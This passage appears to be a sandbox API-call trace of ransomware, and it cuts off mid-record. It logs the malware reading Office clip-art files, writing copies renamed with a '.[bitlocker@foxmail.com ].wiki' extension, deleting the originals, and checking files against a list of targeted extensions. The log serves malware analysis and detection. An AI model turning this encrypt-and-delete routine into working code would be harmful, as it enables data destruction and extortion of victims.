GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10816) returned 1 [0188.585] CloseHandle (hObject=0x1d0) returned 1 [0188.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0188.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.585] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.586] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.586] GetLastError () returned 0x0 [0188.586] ReadFile (in: hFile=0x1d0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2a40, lpOverlapped=0x0) returned 1 [0188.588] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0188.589] ReadFile (in: hFile=0x1d0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.589] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.589] SetEndOfFile (hFile=0x1e0) returned 1 [0188.589] CloseHandle (hObject=0x1e0) returned 1 [0188.589] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.589] SetEndOfFile (hFile=0x1d0) returned 1 [0188.590] CloseHandle (hObject=0x1d0) returned 1 [0188.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0188.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.595] lstrlenW (lpString=".doc") returned 4 [0188.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.595] lstrlenW (lpString=".docx") returned 5 [0188.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.595] lstrlenW (lpString=".pdf") returned 4 [0188.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.595] lstrlenW (lpString=".xls") returned 4 [0188.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.595] lstrlenW (lpString=".xlsx") returned 5 [0188.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.595] lstrlenW (lpString=".ppt") returned 4 [0188.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.595] lstrlenW (lpString=".zip") returned 4 [0188.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.595] lstrlenW (lpString=".rar") returned 4 [0188.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.595] lstrlenW (lpString=".bz2") returned 4 [0188.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.595] lstrlenW (lpString=".7z") returned 3 [0188.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.595] lstrlenW (lpString=".dbf") returned 4 [0188.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.595] lstrlenW (lpString=".1cd") returned 4 [0188.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.595] lstrlenW (lpString=".jpg") returned 4 [0188.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.596] lstrlenW (lpString=".doc") returned 4 [0188.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.596] lstrlenW (lpString=".docx") returned 5 [0188.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.596] lstrlenW (lpString=".pdf") returned 4 [0188.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.596] lstrlenW (lpString=".xls") returned 4 [0188.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.596] lstrlenW (lpString=".xlsx") returned 5 [0188.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.596] lstrlenW (lpString=".ppt") returned 4 [0188.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.596] lstrlenW (lpString=".zip") returned 4 [0188.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.596] lstrlenW (lpString=".rar") returned 4 [0188.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.596] lstrlenW (lpString=".bz2") returned 4 [0188.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.596] lstrlenW (lpString=".7z") returned 3 [0188.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.596] lstrlenW (lpString=".dbf") returned 4 [0188.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.596] lstrlenW (lpString=".1cd") returned 4 [0188.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0188.596] lstrlenW (lpString=".jpg") returned 4 [0188.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.597] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.597] lstrlenW (lpString="FD00403_.WMF") returned 12 [0188.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.597] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7878) returned 1 [0188.597] CloseHandle (hObject=0x1d0) returned 1 [0188.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0188.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.597] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.597] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.598] GetLastError () returned 0x0 [0188.598] ReadFile (in: hFile=0x1d0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1ec6, lpOverlapped=0x0) returned 1 [0188.600] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0188.600] ReadFile (in: hFile=0x1d0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.601] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.601] SetEndOfFile (hFile=0x1e0) returned 1 [0188.601] CloseHandle (hObject=0x1e0) returned 1 [0188.601] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.601] SetEndOfFile (hFile=0x1d0) returned 1 [0188.602] CloseHandle (hObject=0x1d0) returned 1 [0188.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0188.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.602] lstrlenW (lpString=".doc") returned 4 [0188.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.602] lstrlenW (lpString=".docx") returned 5 [0188.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.602] lstrlenW (lpString=".pdf") returned 4 [0188.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.602] lstrlenW (lpString=".xls") returned 4 [0188.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.602] lstrlenW (lpString=".xlsx") returned 5 [0188.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.602] lstrlenW (lpString=".ppt") returned 4 [0188.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.602] lstrlenW (lpString=".zip") returned 4 [0188.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.602] lstrlenW (lpString=".rar") returned 4 [0188.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.603] lstrlenW (lpString=".bz2") returned 4 [0188.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.603] lstrlenW (lpString=".7z") returned 3 [0188.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.603] lstrlenW (lpString=".dbf") returned 4 [0188.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.603] lstrlenW (lpString=".1cd") returned 4 [0188.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.603] lstrlenW (lpString=".jpg") returned 4 [0188.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.603] lstrlenW (lpString=".doc") returned 4 [0188.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.603] lstrlenW (lpString=".docx") returned 5 [0188.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.603] lstrlenW (lpString=".pdf") returned 4 [0188.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.603] lstrlenW (lpString=".xls") returned 4 [0188.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.603] lstrlenW (lpString=".xlsx") returned 5 [0188.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.603] lstrlenW (lpString=".ppt") returned 4 [0188.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.603] lstrlenW (lpString=".zip") returned 4 [0188.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.603] lstrlenW (lpString=".rar") returned 4 [0188.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.604] lstrlenW (lpString=".bz2") returned 4 [0188.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.604] lstrlenW (lpString=".7z") returned 3 [0188.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.604] lstrlenW (lpString=".dbf") returned 4 [0188.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.604] lstrlenW (lpString=".1cd") returned 4 [0188.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0188.604] lstrlenW (lpString=".jpg") returned 4 [0188.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.604] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.604] lstrlenW (lpString="FD00414_.WMF") returned 12 [0188.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.605] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=11002) returned 1 [0188.605] CloseHandle (hObject=0x1d0) returned 1 [0188.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0188.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.605] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.605] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.606] GetLastError () returned 0x0 [0188.606] ReadFile (in: hFile=0x1d0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2afa, lpOverlapped=0x0) returned 1 [0188.607] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2b00, lpOverlapped=0x0) returned 1 [0188.608] ReadFile (in: hFile=0x1d0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.608] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.608] SetEndOfFile (hFile=0x1e0) returned 1 [0188.608] CloseHandle (hObject=0x1e0) returned 1 [0188.609] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.609] SetEndOfFile (hFile=0x1d0) returned 1 [0188.609] CloseHandle (hObject=0x1d0) returned 1 [0188.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0188.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.610] lstrlenW (lpString=".doc") returned 4 [0188.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.610] lstrlenW (lpString=".docx") returned 5 [0188.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.610] lstrlenW (lpString=".pdf") returned 4 [0188.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.610] lstrlenW (lpString=".xls") returned 4 [0188.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.610] lstrlenW (lpString=".xlsx") returned 5 [0188.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.610] lstrlenW (lpString=".ppt") returned 4 [0188.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.610] lstrlenW (lpString=".zip") returned 4 [0188.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.610] lstrlenW (lpString=".rar") returned 4 [0188.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.610] lstrlenW (lpString=".bz2") returned 4 [0188.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.610] lstrlenW (lpString=".7z") returned 3 [0188.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.610] lstrlenW (lpString=".dbf") returned 4 [0188.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.611] lstrlenW (lpString=".1cd") returned 4 [0188.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.611] lstrlenW (lpString=".jpg") returned 4 [0188.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.611] lstrlenW (lpString=".doc") returned 4 [0188.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.611] lstrlenW (lpString=".docx") returned 5 [0188.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.611] lstrlenW (lpString=".pdf") returned 4 [0188.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.611] lstrlenW (lpString=".xls") returned 4 [0188.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.611] lstrlenW (lpString=".xlsx") returned 5 [0188.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.611] lstrlenW (lpString=".ppt") returned 4 [0188.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.611] lstrlenW (lpString=".zip") returned 4 [0188.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.611] lstrlenW (lpString=".rar") returned 4 [0188.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.611] lstrlenW (lpString=".bz2") returned 4 [0188.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.611] lstrlenW (lpString=".7z") returned 3 [0188.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.611] lstrlenW (lpString=".dbf") returned 4 [0188.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.612] lstrlenW (lpString=".1cd") returned 4 [0188.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0188.612] lstrlenW (lpString=".jpg") returned 4 [0188.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.612] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.612] lstrlenW (lpString="FD00419_.WMF") returned 12 [0188.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.612] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=16396) returned 1 [0188.612] CloseHandle (hObject=0x1d0) returned 1 [0188.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0188.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft 